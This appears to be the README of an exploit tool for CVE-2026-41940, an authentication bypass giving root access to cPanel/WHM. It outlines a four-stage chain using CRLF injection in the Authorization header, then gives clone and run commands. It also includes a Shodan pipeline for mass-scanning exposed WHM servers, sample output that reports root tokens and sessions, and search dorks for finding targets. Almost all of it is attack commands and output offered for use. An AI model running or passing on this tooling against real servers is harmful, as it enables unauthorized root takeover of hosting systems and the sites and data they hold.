┌─────────────────────────────────────────────────────────────┐
│  阶段 1  ──  生成预认证会话 Cookie                        │
│  阶段 2  ──  通过 `Authorization` 头进行 CRLF 注入        │
│  阶段 3  ──  触发 `do_token_denied`（原始 → 缓存）        │
│  阶段 4  ──  通过 JSON API 验证 WHM Root 访问权限          │
└─────────────────────────────────────────────────────────────┘

git clone https://github.com/0xgh057r3c0n/CVE-2026-41940.git && cd CVE-2026-41940

./CVE-2026-41940.py -u https://target.com:2087

./CVE-2026-41940.py -l targets.txt -t 20 -o results.json

shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | ./CVE-2026-41940.py -t 30

$ ./CVE-2026-41940.py -u https://192.168.1.100:2087

  配置信息：
   目标数   : 1
   线程数   : 10
   超时时间 : 15s
   操作     : 仅扫描

[10:23:15] [SCAN] 开始 4 阶段利用链... https://192.168.1.100:2087
[10:23:15] [INFO] 发现规范主机名: server.example.com
[10:23:15] [STEP] 阶段 1/4 — 生成预认证会话...
[10:23:16] [  OK] 阶段1: 预认证会话 = 9a7f8e3d2c1b0a9f
[10:23:16] [STEP] 阶段 2/4 — 通过 Authorization 头进行 CRLF 注入...
[10:23:17] [  OK] 阶段2: HTTP 302 → token=/cpsess1234567890
[10:23:17] [STEP] 阶段 3/4 — 触发 do_token_denied 小工具（原始→缓存）...
[10:23:18] [  OK] 阶段3: HTTP 401 — do_token_denied 小工具已触发
[10:23:18] [STEP] 阶段 4/4 — 验证 WHM Root 访问权限...
[10:23:18] [INFO] 阶段4: HTTP 200  {"version":"11.118.0.63",...}
[10:23:18] [PWND] CVE-2026-41940 已确认 — 获得 WHM Root 访问权限！(v11.118.0.63 — 已确认存在漏洞)
[10:23:18] [PWND]   Token    : /cpsess1234567890
[10:23:18] [PWND]   Session  : 9a7f8e3d2c1b0a9f
[10:23:18] [PWND]   Version  : 11.118.0.63
[10:23:18] [PWND]   API URL  : https://192.168.1.100:2087/cpsess1234567890/json-api/version

  CVE-2026-41940 — 扫描完成
  耗时: 3.2s  ·  目标数: 1

  1 个存在漏洞的目标

  [*] 目标    : https://192.168.1.100:2087
  [*] 版本    : 11.118.0.63
  [*] Token   : /cpsess1234567890
  [*] API URL : https://192.168.1.100:2087/cpsess1234567890/json-api/version
  [*] Session : 9a7f8e3d2c1b0a9f
  [*] 证据    : {"version":"11.118.0.63",...}

title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087